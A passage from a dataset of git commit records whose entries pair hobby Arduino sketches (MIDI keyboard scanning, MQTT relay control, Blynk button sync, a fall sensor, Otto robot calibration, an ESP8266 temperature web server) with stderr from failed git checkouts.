from two keyboards\n * C into digital pin 8\n * C# into digital pin 9\n * D into digital pin 10\n * Internal pull-up resistors activated for all inputs\n * Keyboard 0 - pin 69 (analog 15)\n * Keyboard 1 - pin 68 (analog 14)\n * Six diodes allowing facing away from the inputs (allowing\n current to be sunk, and hence inputs pulled down,\n but open circuit otherwise)\n\n created 2016 by @JDWarner\n*\/\n\n\/\/ constants won't change. They're used here to\n\/\/ set pin numbers:\nconst int keyPins[] = {8, 9, 10}; \/\/ organ keys C, C#, D\nconst int rankPins[] = {69, 68}; \/\/ drive wires for rank 0 (top) and 1 (bottom)\nconst int ledPin = LED_BUILTIN; \/\/ LED pin\n\/*\n Note for reference, the analog -> digital pin mappings for the Mega are:\n A0 = 54\n A1 = 55\n A2 = 56\n A3 = 57\n A4 = 58\n A5 = 59\n A6 = 60\n A7 = 61\n A8 = 62\n A9 = 63\n A10 = 64\n A11 = 65\n A12 = 66\n A13 = 67\n A14 = 68\n A15 = 69\n*\/\n\n\/\/ define how large some things are (matrix size)\nconst int numKeys = 3;\nconst int numRanks = 2;\nconst int midiNotes[numRanks][numKeys] = {\n {9, 10, 11},\n {9, 10, 11},\n};\nconst int midiChannels[numRanks] = {0, 1};\n\n\/\/ State of all keys in a 2D multidimensional array\nbool keyStates[numRanks][numKeys] = {\n {false, false, false},\n {false, false, false},\n};\n\n\/\/ Reading all pins for a particular loop\nbool keyReads[] = {false, false, false};\nint activeKeys = 0;\n\n\n\/\/ simple function to compare current state with new read\n\/\/ if different, state and LED are updated\n\/\/ We're using input_pullup so the switch is active when LOW!\n\/\/ Note: Internally changing `state` requires call-by-reference\nvoid pinChange(bool value, bool &state, int pin) {\n \/\/ Compare them - `state` records inverse of switch read\n if (value == state) { \/\/ Equal means a change\n\n \/\/ Update values in state record\n state = not value;\n\n \/\/ If there is a state change, send a MIDI event\n \/\/ Serial.write();\n \/\/ Serial.write();\n \/\/ Serial.write();\n }\n}\n\n\n\/\/ function to handle the loop over a given rank, updating states\nvoid rankPoll(int keyPins[numKeys], bool (&states)[numKeys]) {\n for(int key=0; key<numKeys; key++){\n \/\/ states[key] = not digitalRead(keyPins[key]);\n pinChange(digitalRead(keyPins[key]), states[key], keyPins[key]);\n }\n}\n\n\nvoid setup() {\n \/\/ Start the Serial interface\n \/\/ Serial.begin(31280) \/\/ Check baud\n\n \/\/ initialize LED\n pinMode(ledPin, OUTPUT);\n\n \/\/ drive pins per rank\n for(int d=0; d<numRanks; d++){\n pinMode(d, OUTPUT);\n digitalWrite(d, HIGH);\n }\n \/\/ initialize the organ keys' pins as inputs\n for(int k=0; k<numKeys; k++){\n pinMode(k, INPUT_PULLUP);\n }\n}\n\n\nvoid loop() {\n \/\/ read the state of the key value:\n for(int rank = 0; rank < numRanks; rank++){\n digitalWrite(rankPins[rank], LOW);\n rankPoll(keyPins, keyStates[rank]);\n digitalWrite(rankPins[rank], HIGH);\n }\n\n \/\/ light an LED if any key is pressed\n activeKeys = 0;\n for(int rank=0; rank<numRanks; rank++){\n \/\/ shortcut loop if any key press found\n if(activeKeys > 0){\n break;\n }\n for(int key=0; key<numKeys; key++){\n \/\/ if key pressed, turn on LED, record, and stop looking\n if (keyStates[rank][key] == true) {\n digitalWrite(ledPin, HIGH);\n activeKeys++;\n break;\n }\n }\n }\n\n \/\/ LED off if no keys pressed\n if(activeKeys == 0){\n digitalWrite(ledPin, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/test_midi\/test_midi.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2bd93daea928c014e91c40520d83549289f02605","subject":"Fixed incorrect libary declaration","message":"Fixed incorrect libary declaration\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/CC300\/CC3000LivePublish\/CC3000LivePublish.ino","new_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/CC300\/CC3000LivePublish\/CC3000LivePublish.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"57c7ae7e3e528fafd9dd7efd3a9118939df6c039","subject":"mqtt node for HAP-NodeJS","message":"mqtt node for HAP-NodeJS\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_70-homekit-accessories-light\/_70-homekit-accessories-light.ino","new_file":"_70-homekit-accessories-light\/_70-homekit-accessories-light.ino","new_contents":"\/\/ Using Sonoff wifi switch, 80MHz, 1M\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n#include <WiFiClientSecure.h>\n#include <PubSubClient.h>\n#include <ArduinoJson.h>\n#include <Ticker.h>\n\n#include \"\/usr\/local\/src\/rpi2_setting.h\"\n\n#define BUTTON_PIN 0\n#define RELAY_PIN 12\n#define LED_PIN 13\n\nIPAddress mqtt_server = MQTT_SERVER;\n\nchar* subscribe_topic = \"light\/bedroomlight\";\nlong lastReconnectAttempt = 0;\nvolatile bool bUpdated = false;\nvolatile bool bRelayState = false;\nString clientName;\n\nvoid ICACHE_RAM_ATTR callback(char* intopic, byte* inpayload, unsigned int length);\n\nWiFiClientSecure sslclient;\nPubSubClient client(mqtt_server, 8883, callback, sslclient);\nTicker ticker;\n\nvoid tick()\n{\n \/\/toggle state\n int state = digitalRead(LED_PIN); \/\/ get the current state of GPIO13 pin\n digitalWrite(LED_PIN, !state); \/\/ set pin to the opposite state\n}\n\nvoid ICACHE_RAM_ATTR parseMqttMsg(String receivedpayload, String receivedtopic)\n{\n char json[] = \"{\\\"cmd\\\":\\\"off\\\"}\";\n\n receivedpayload.toCharArray(json, 150);\n StaticJsonBuffer<150> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n if (!root.success())\n {\n return;\n }\n\n if (receivedtopic == subscribe_topic)\n {\n if (root.containsKey(\"cmd\"))\n {\n const char* mqtt_relay_state = root[\"cmd\"];\n if ( String(mqtt_relay_state) == \"on\")\n {\n Serial.println(\"call on\");\n bRelayState = HIGH;\n }\n else\n {\n Serial.println(\"call off\");\n bRelayState = LOW;\n }\n bUpdated = true;\n }\n }\n}\n\nvoid ICACHE_RAM_ATTR callback(char* intopic, byte* inpayload, unsigned int length)\n{\n String receivedtopic = intopic;\n String receivedpayload ;\n\n for (unsigned int i = 0; i < length; i++)\n {\n receivedpayload += (char)inpayload[i];\n }\n\n Serial.print(\"[MQTT] intopic : \");\n Serial.print(receivedtopic);\n Serial.print(\" payload: \");\n Serial.println(receivedpayload);\n\n parseMqttMsg(receivedpayload, receivedtopic);\n}\n\nbool verifytls()\n{\n Serial.print(\"[MQTT] tls connecting to \");\n Serial.println(mqtt_server);\n if (!sslclient.connect(mqtt_server, 8883))\n {\n Serial.println(\"[MQTT] tls connection failed\");\n return false;\n }\n\n if (sslclient.verify(MQTT_FINGERPRINT, MQTT_SERVER_CN))\n {\n Serial.println(\"[MQTT] tls certificate matches\");\n sslclient.stop();\n return true;\n }\n else\n {\n Serial.println(\"[MQTT] tls certificate doesn't match\");\n sslclient.stop();\n return false;\n }\n}\n\nboolean reconnect()\n{\n if (!client.connected())\n {\n if (verifytls())\n {\n if (client.connect((char*) clientName.c_str(), MQTT_USER, MQTT_PASS))\n {\n client.subscribe(subscribe_topic);\n client.loop();\n Serial.println(\"[MQTT] mqtt connected\");\n ticker.attach(1, tick);\n }\n else\n {\n Serial.print(\"[MQTT] mqtt failed, rc=\");\n Serial.println(client.state());\n ticker.attach(0.5, tick);\n }\n }\n }\n return client.connected();\n}\n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED)\n {\n Serial.println();\n Serial.print(\"[WIFI] Connecting to \");\n Serial.println(WIFI_SSID);\n\n delay(10);\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED)\n {\n Serial.print(\". \");\n Serial.print(Attempt);\n delay(100);\n Attempt++;\n if (Attempt == 150)\n {\n Serial.println();\n Serial.println(\"[WIFI] Could not connect to WIFI, restarting...\");\n Serial.flush();\n ESP.restart();\n delay(200);\n }\n }\n\n Serial.println();\n Serial.print(\"[WIFI] connected\");\n Serial.print(\" --> IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\nvoid change_light()\n{\n digitalWrite(RELAY_PIN, bRelayState);\n bUpdated = false;\n attachInterrupt(BUTTON_PIN, run_lightcmd_isr, FALLING);\n}\n\nvoid run_lightcmd_isr()\n{\n detachInterrupt(BUTTON_PIN);\n bRelayState = !bRelayState;\n bUpdated = true;\n}\n\nvoid ArduinoOTA_config()\n{\n \/\/OTA\n \/\/ Port defaults to 8266\n ArduinoOTA.setPort(8266);\n ArduinoOTA.setHostname(\"esp-bedroomlight\");\n ArduinoOTA.setPassword(OTA_PASSWORD);\n ArduinoOTA.onStart([]()\n {\n \/\/sendUdpSyslog(\"ArduinoOTA Start\");\n });\n ArduinoOTA.onEnd([]()\n {\n \/\/sendUdpSyslog(\"ArduinoOTA End\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total)\n {\n \/\/syslogPayload = \"Progress: \";\n \/\/syslogPayload += (progress \/ (total \/ 100));\n \/\/sendUdpSyslog(syslogPayload);\n });\n ArduinoOTA.onError([](ota_error_t error)\n {\n \/\/ESP.restart();\n if (error == OTA_AUTH_ERROR) abort();\n else if (error == OTA_BEGIN_ERROR) abort();\n else if (error == OTA_CONNECT_ERROR) abort();\n else if (error == OTA_RECEIVE_ERROR) abort();\n else if (error == OTA_END_ERROR) abort();\n });\n\n ArduinoOTA.begin();\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println();\n Serial.println(\"Starting....... \");\n pinMode(LED_PIN, OUTPUT);\n pinMode(RELAY_PIN, OUTPUT);\n pinMode(BUTTON_PIN, INPUT);\n\n attachInterrupt(BUTTON_PIN, run_lightcmd_isr, FALLING);\n\n ticker.attach(0.2, tick);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n configTime(9 * 3600, 0, \"pool.ntp.org\", \"time.nist.gov\");\n\n ArduinoOTA_config();\n \n reconnect();\n lastReconnectAttempt = 0;\n}\n\nvoid loop()\n{\n if (bUpdated)\n {\n change_light();\n }\n\n if (WiFi.status() == WL_CONNECTED)\n {\n if (!client.connected())\n {\n long now = millis();\n if (now - lastReconnectAttempt > 5000)\n {\n lastReconnectAttempt = now;\n if (reconnect())\n {\n lastReconnectAttempt = 0;\n }\n }\n }\n else\n {\n client.loop();\n }\n }\n else\n {\n ticker.attach(0.2, tick);\n wifi_connect();\n }\n}\n\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i)\n {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\n\/\/ end of file\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_70-homekit-accessories-light\/_70-homekit-accessories-light.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"39cd6ba0b19d724166e320da1f0b785c8f8e5642","subject":"Fix #82","message":"Fix #82\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/More\/SyncPhysicalButton\/SyncPhysicalButton.ino","new_file":"examples\/More\/SyncPhysicalButton\/SyncPhysicalButton.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to synchronize Button widget \n * and physical button state.\n *\n * WARNING :\n * For this example you'll need SimpleTimer library:\n * https:\/\/github.com\/jfturcot\/SimpleTimer\n *\n * App project setup:\n * Button widget attached to V2 (Switch mode)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Set your LED and physical button pins here\nconst int ledPin = 7;\nconst int btnPin = 8;\n\nSimpleTimer timer;\nvoid checkPhysicalButton();\n\nint ledState = LOW;\nint btnState = HIGH;\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n\n pinMode(ledPin, OUTPUT);\n pinMode(btnPin, INPUT_PULLUP); \n digitalWrite(ledPin, ledState);\n\n \/\/ Setup a function to be called every 100 ms\n timer.setInterval(100L, checkPhysicalButton);\n}\n\n\/\/ Every time we connect to the cloud...\nBLYNK_CONNECTED() {\n \/\/ Request the latest state from the server\n Blynk.syncVirtual(V2);\n\n \/\/ Alternatively, you could override server state using:\n \/\/Blynk.virtualWrite(V2, ledState);\n}\n\n\/\/ When App button is pushed - switch the state\nBLYNK_WRITE(V2) {\n ledState = param.asInt();\n digitalWrite(ledPin, ledState);\n}\n\nvoid checkPhysicalButton()\n{\n if (digitalRead(btnPin) == LOW) {\n \/\/ btnState is used to avoid sequential toggles\n if (btnState != LOW) {\n \n \/\/ Toggle LED state\n ledState = !ledState;\n digitalWrite(ledPin, ledState);\n\n \/\/ Update Button Widget\n Blynk.virtualWrite(V2, ledState);\n }\n btnState = LOW;\n } else {\n btnState = HIGH;\n }\n}\n\nvoid loop()\n{\n Blynk.run(); \/\/ Run Blynk\n timer.run(); \/\/ Run SimpleTimer\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/More\/SyncPhysicalButton\/SyncPhysicalButton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"244aff75a3c33482a0c0ef9ea3c8f550f3b62978","subject":"Retrieve measurements in mm\/s2 (part 2)","message":"Retrieve measurements in mm\/s2 (part 2)\n","repos":"balazspete\/wearable-fall-sensor,balazspete\/wearable-fall-sensor,balazspete\/wearable-fall-sensor","old_file":"sensor\/sensor.ino","new_file":"sensor\/sensor.ino","new_contents":"#include \"I2Cdev.h\"\/\/add neccesary headfiles\n#include \"MPU6050.h\"\/\/add neccesary headfiles\n#include <Wire.h>\n#include <Streaming.h>\n#include <string.h>\n#include <math.h>\n\/\/====the offset of gyro===========\n#define Gx_offset -1.50\n#define Gy_offset 0\n#define Gz_offset 0.80\n\/\/====the offset of accelerator===========\n#define Ax_offset -0.07\n#define Ay_offset 0.02\n#define Az_offset 0.14\n\/\/====================\nMPU6050 accelgyro;\n\n#define REG_ADDR_RESULT 0x00\n#define REG_ADDR_CONFIG 0x02\n\n#define ADDR_ADC121 0x58\n\nint16_t ax,ay,az;\/\/original data;\nint16_t gx,gy,gz;\/\/original data;\nfloat Ax,Ay,Az;\/\/Unit g(9.8m\/s^2)\nfloat Gx,Gy,Gz;\/\/Unit \ufffd\ufffd\/s\nfloat loudness;\n\nchar buffer [1000];\n\nint measurementMode = 0;\n\n\/*\n * Initialise the IMU\n *\/\nvoid initialiseAccelerationAndGyro() {\n \/\/ Initializing IMU sensor\n accelgyro.initialize();\n \n \/\/ Testing connections with IMU\n Serial.println(accelgyro.testConnection() ? \"IMU connection successful\":\"IMU connection failure\");\n}\n\n\/*\n * Initialise the loudness sensor\n *\/\nvoid initialiseLoudnessSensor()\n{\n Wire.beginTransmission(ADDR_ADC121); \/\/ transmit to device\n Wire.write(REG_ADDR_CONFIG); \/\/ Configuration Register\n Wire.write(0x20);\n Wire.endTransmission(); \n}\n\n\/*\n * Update the acceleration and Orientation values\n *\/\nvoid updateAccelerationAndGyro() {\n accelgyro.getMotion6(&ax,&ay,&az,&gx,&gy,&gz);\/\/get the gyro and accelarator \n \n Serial.println(ax);\n \n \/\/==========accelerator================================\n Ax=ax;\/\/\/16384.00;\/\/to get data of unit(g)\n Ay=ay;\/\/\/16384.00;\/\/to get data of unit(g)\n Az=az;\/\/\/16384.00;\/\/to get data of unit(g)\n \/\/===============gyro================================\n Gx=gx;\/\/\/131.00;\n Gy=gy;\/\/\/131.00;\n Gz=gz;\/\/\/131.00;\n}\n\n\/*\n * Update the loudness value\n *\/\nvoid updateLoudness()\n{\n int getData;\n Wire.beginTransmission(ADDR_ADC121); \/\/ transmit to device\n Wire.write(REG_ADDR_RESULT); \/\/ get reuslt\n Wire.endTransmission();\n\n Wire.requestFrom(ADDR_ADC121, 2); \/\/ request 2byte from device\n delay(1);\n \n if(Wire.available()<=2)\n {\n getData = (Wire.read()&0x0f)<<8;\n getData |= Wire.read();\n loudness = getData;\n }\n}\n\n\/*\n * Convert a double to a char array\n *\/\nint dToBuffer(float value, char* buffer, int start)\n{\n int origin = start;\n \/*if (value >= 1000)\n {\n return -1;\n }*\/\n \n int mode = 0; \n long v = (long)(value * 1000LL);\n \n if (v < 0)\n {\n buffer[start++] = '-';\n v = abs(v);\n }\n \n int i = 10;\n while (i > 0)\n {\n long b = pow(10, i--);\n int _v = v\/b;\n if (mode || _v > 0)\n { \n buffer[start++] = (char)(_v+48);\n mode = 1;\n }\n v = v - _v*b;\n if (i == 2)\n {\n if (buffer[start-1] == '-')\n {\n buffer[start++] = '0';\n }\n else if (origin - start == 0)\n {\n buffer[start++] = '0';\n } \n\n buffer[start++] = '.';\n }\n }\n \n if (buffer[start-1] == '.')\n {\n buffer[start++] = '0'; \n }\n \n buffer[start] = '\\0';\n return start;\n}\n\n\/*\n * Utility to copy arrays\n *\/\nint copyOver(char origin[], char target[], unsigned int size, unsigned int start)\n{\n int index = 0;\n while (index < size)\n {\n target[start + index] = origin[index];\n index++;\n }\n \n return start+index;\n}\n\n\/*\n * Buffer the current sensor measurements\n *\/\nint bufferSensorData(int start) \n{\n if (start < 0) \n {\n return -1; \n }\n \n char text[] = { '#', 'M', 'E', 'A', 'S', 'U', 'R', 'E', 'M', 'E', 'N', 'T', '|' };\n\n start = copyOver(text, buffer, 13, start);\n start = dToBuffer(Ax, buffer, start);\n buffer[start++] = '|';\n start = dToBuffer(Ay, buffer, start);\n buffer[start++] = '|';\n start = dToBuffer(Az, buffer, start);\n buffer[start++] = '|';\n start = dToBuffer(Gx, buffer, start);\n buffer[start++] = '|';\n start = dToBuffer(Gy, buffer, start);\n buffer[start++] = '|';\n start = dToBuffer(Gz, buffer, start);\n buffer[start++] = '|';\n start = dToBuffer(loudness, buffer, start);\n buffer[start++] = '#';\n buffer[start] = '\\0';\n \n return start;\n}\n\n\/*\n * Transmit the buffer to the base\n *\/\nboolean bleTransmitBuffer() \n{\n if (Serial1)\n {\n Serial1.write(buffer);\n \/\/Serial.println(buffer);\n Serial1.flush();\n return true;\n }\n else\n {\n return false; \n }\n}\n\n\/*\n * Initialise components and devices\n *\/\nvoid setup() {\n \/\/ Console (remove when not used)\n Serial.begin(9600);\n \n \/\/ Connect to the BLE module\n Serial1.begin(38400);\n \n Wire.begin();\n \n initialiseAccelerationAndGyro();\n initialiseLoudnessSensor();\n}\n\nvoid loop() {\n while (true) \n {\n if (Serial1.available())\n {\n measurementMode = Serial1.read();\n }\n \n \/\/If greater than 0 => take measurement\n if (measurementMode > 48)\n {\n updateAccelerationAndGyro();\n updateLoudness();\n \n \/\/ If measurement mode is 2 or less, do not buffer\n if (measurementMode <= 50)\n {\n bufferSensorData(0);\n while(!bleTransmitBuffer());\n delay(50);\n }\n else\n {\n \/*\n \n BUFFER MEASUREMENTS AND SEND WHEN BUFFER IS FULL\n \n *\/\n \n \/\/change delay to whatever you need\n delay(50);\n }\n }\n \n \/\/ if measurement mode is 1 (49) => one measurement only\n if (measurementMode < 50)\n {\n measurementMode = 0;\n }\n \n }\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor\/sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"02f79fa6eefb6fd1750b1ad170f01aaa40b683db","subject":"Update CoinWallet.ino","message":"Update CoinWallet.ino","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/CoinWallet.ino","new_file":"LaundryMachine\/CoinWallet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bada00b3b17d63cdbca60461743e31f7c39681ff","subject":"Interactive calibration for Otto DIY.","message":"Interactive calibration for Otto DIY.\n","repos":"OttoDIY\/DIY,OttoDIY\/DIY","old_file":"Otto_calibration\/Otto_calibration.ino","new_file":"Otto_calibration\/Otto_calibration.ino","new_contents":"\/\/----------------------------------------------------------------\n\/\/-- Otto Easy calibration\n\/\/-- With this code you can calibrate the servo motors butit will require to adjust the TRIM values\n\/\/-- April 2019: Designed to work with the basic Otto but could be compatible with PLUS or Humanoid or other biped robots\n\/\/-- September 2019: Added Interactive interface\n\/******************************************************************************************************\n Make sure to have installed all libraries: https:\/\/wikifactory.com\/+OttoDIY\/otto-diy\n Otto DIY invests time and resources providing open source code and hardware, \n please support by purchasing kits from (https:\/\/www.ottodiy.com)\n \n BSD license, all text above must be included in any redistribution\n *******************************************************************\/ \n\/\/-- VERY IMPORTANT only calibrate ONE TIME per board!to avoid damage EEPROM memory\n\/\/-----------------------------------------------------------------\n#include <Otto.h>\n#include <Servo.h>\n#include <Oscillator.h>\n#include <EEPROM.h>\nOtto Otto;\n\nint positions[] = {90, 90, 90, 90};\n\nuint8_t servo = 0;\nint8_t trims[4] = {0,0,0,0};\n\n\/\/ Set all 4 trim values\n\nvoid setTrims(void)\n{\n Otto.setTrims(trims[0], trims[1], trims[2], trims[3]);\n Serial.print(\"Setting trim [\");\n for( int x = 0; x < 4 ; x++)\n {\n Serial.print(trims[x]);\n Serial.print(\", \");\n }\n Serial.println(\"]\");\n}\n\n\/\/ printout the help screen\n\nvoid help(void)\n{\n Serial.println(\"This is used to set the trim on the servos for 'Otto'\");\n Serial.println(\"The interface uses single character controls\");\n Serial.println(\"\");\n Serial.println(\"'e' - read EEPROM trims and use them\");\n Serial.println(\"'h' - this message\");\n Serial.println(\"'+' - add to the trim\");\n Serial.println(\"'-' - subtract from the trim\");\n Serial.println(\"'L' - trim the Left Leg\");\n Serial.println(\"'l' - trim the Left Foot\");\n Serial.println(\"'R' - trim the Right Leg\");\n Serial.println(\"'r' - trim the Right Foot\");\n Serial.println(\"'w' - write the current trims to EEPROM\");\n Serial.println(\"\");\n}\n\n\/\/ process the user input char\n\nvoid processChar(char c)\n{\n \/\/ see if the first char is a number or a command char\n\n switch(c) {\n case 'h':\n case 'H':\n help();\n break;\n case 'L':\n \/\/ set the servo to left leg\n Serial.println(\"Selected Left Leg\");\n servo = 0;\n break;\n case 'l':\n Serial.println(\"Selected Left Foot\");\n servo = 2;\n break;\n case 'R':\n Serial.println(\"Selected Right Leg\");\n servo = 1;\n break;\n case 'r':\n Serial.println(\"Selected Right Foot\");\n servo = 3;\n break;\n case '+':\n trims[servo]++;\n setTrims();\n break;\n case '-':\n trims[servo]--;\n setTrims();\n break;\n case 'e':\n for (int i = 0; i < 4; i++)\n {\n int servo_trim = EEPROM.read(i);\n \n if (servo_trim > 128)\n servo_trim -= 256;\n\n trims[i] = servo_trim;\n }\n setTrims();\n break;\n case 'w':\n case 'W':\n \/\/ write the values out to EEPROM\n Otto.saveTrimsOnEEPROM();\n Serial.println(\"Values written to EEPROM\");\n break;\n case '\\n':\n case '\\r':\n break;\n default:\n Serial.print(\"Unknown command (\");\n Serial.print(c);\n Serial.println(\")\");\n break;\n }\n Otto._moveServos(10, positions);\n}\n\n\/\/ init all things\n\nvoid setup(void)\n{\n \/\/ Init Serial port\n\n Serial.begin(57600);\n \n \/\/ init Otto\n \n Otto.init(2, 3, 4, 5, false);\n\n help();\n\n \/\/ read the EEPROM and use those values\n\n for (int i = 0; i < 4; i++)\n {\n int servo_trim = EEPROM.read(i);\n \n if (servo_trim > 128)\n servo_trim -= 256;\n\n trims[i] = servo_trim;\n }\n\n Serial.println(\"Getting EEPROM Trim values\");\n \/\/ set the trims\n\n setTrims();\n\n Otto._moveServos(10, positions);\n}\n\n\/\/ see if the user wants anything\n\nvoid loop() \/\/ test comparing before & after function\n{\n Otto.home();\n\n \/\/ get input from Serial port\n\n while(Serial.available() > 0)\n {\n processChar(Serial.read());\n }\n \n \/\/ delay(4000);\n \/\/ Otto.updown(6, 500, BIG); \n \/\/ delay(2000);\n \/\/ \n \/\/ Otto.walk(4,1800);\n \/\/delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Otto_calibration\/Otto_calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5b0e8c209d238fc266e708ef2b0e06f2a1e19197","subject":"servidor com temperatura funcionando","message":"servidor com temperatura funcionando\n","repos":"codedecaybr\/arduino-avancado","old_file":"ServidorFull\/ServidorFull.ino","new_file":"ServidorFull\/ServidorFull.ino","new_contents":"\/*\n\n*\/\n\n#include \"WiFiEsp.h\"\n#include \"SoftwareSerial.h\"\n\nSoftwareSerial ESP8266(10, 11); \/\/ RX do Arduino, TX do Arduino\nWiFiEspServer servidor(80);\n\nchar ssid[] = \"codedecay\"; \/\/ nome do access point\nchar pass[] = \"codedecay2017\"; \/\/ senha do access point\n\n\/\/ use a ring buffer to increase speed and reduce memory allocation\nRingBuffer buf(8);\n\nvoid setup() {\n Serial.begin(9600); \/\/ inicia a comunicacao serial para debug\n ESP8266.begin(9600); \/\/ inicializa a comunicacao com o ESP8266\n WiFi.init(&ESP8266); \/\/ initialize ESP module\n\n Serial.print(\"Tentando iniciar o Access Point \");\n Serial.println(ssid);\n\n if ( WiFi.beginAP(ssid, 10, pass, ENC_TYPE_WPA2_PSK) ) { \/\/ inicia o access point\n\n IPAddress ip = WiFi.localIP();\n Serial.print(\"Endereco IP: \");\n Serial.println(ip);\n\n servidor.begin(); \/\/ inicia o servidor na porta 80\n\n }\n}\n\n\nvoid loop() {\n WiFiEspClient cliente = servidor.available(); \/\/ aguarda a conexao de clientes novos\n\n if (cliente) { \/\/ se aconteceu a conexao\n buf.init(); \/\/ initialize the circular buffer\n while ( cliente.connected() ) {\n if ( cliente.available() ) { \/\/ verifica se ainda existem bytes a serem recebidos do cliente\n char c = cliente.read(); \/\/ le um byte\n buf.push(c); \/\/ adiciona o byte lido no buffer\n\n \/\/ um request http termina com dois \\r\\n consecutivos\n \/\/ quando atingirmos essa situacao, basta enviar a resposta\n if ( buf.endsWith(\"\\r\\n\\r\\n\") ) {\n enviaResposta(cliente);\n break;\n }\n }\n }\n\n delay(10);\n\n \/\/ encerra a conexao\n cliente.stop();\n }\n}\n\nvoid enviaResposta(WiFiEspClient cliente) {\n cliente.print(\"HTTP\/1.1 200 OK\\r\\n\");\n cliente.print(\"Content-Type: text\/html\\r\\n\");\n cliente.print(\"Connection: close\\r\\n\");\n cliente.print(\"\\r\\n\");\n cliente.print(\"<!DOCTYPE HTML>\\r\\n\");\n cliente.print(\"<html>\\r\\n\");\n cliente.print(\"<h1>Smartfan<\/h1>\\r\\n\");\n cliente.print(\"<br>\\r\\n\");\n cliente.print(\"Temperatura: \");\n cliente.print(analogRead(0) * (500.0\/1023.0) );\n cliente.print(\"<br>\\r\\n\");\n cliente.print(\"<\/html>\\r\\n\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ServidorFull\/ServidorFull.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f35b2e2f2c19ed24b00629ad8ff3e754dbc314ff","subject":"- basic test example","message":"- basic test example\n","repos":"possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,RedBearLab\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,RedBearLab\/arduino-BLEPeripheral","old_file":"examples\/test\/test.ino","new_file":"examples\/test\/test.ino","new_contents":"#include <SPI.h>\n\n#include <BLEPeripheral.h>\n\n#define BLE_REQ 10\n#define BLE_RDY 2\n#define BLE_RST 9\n\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\n\nvoid setup() { \n Serial.begin(57600);\n \n 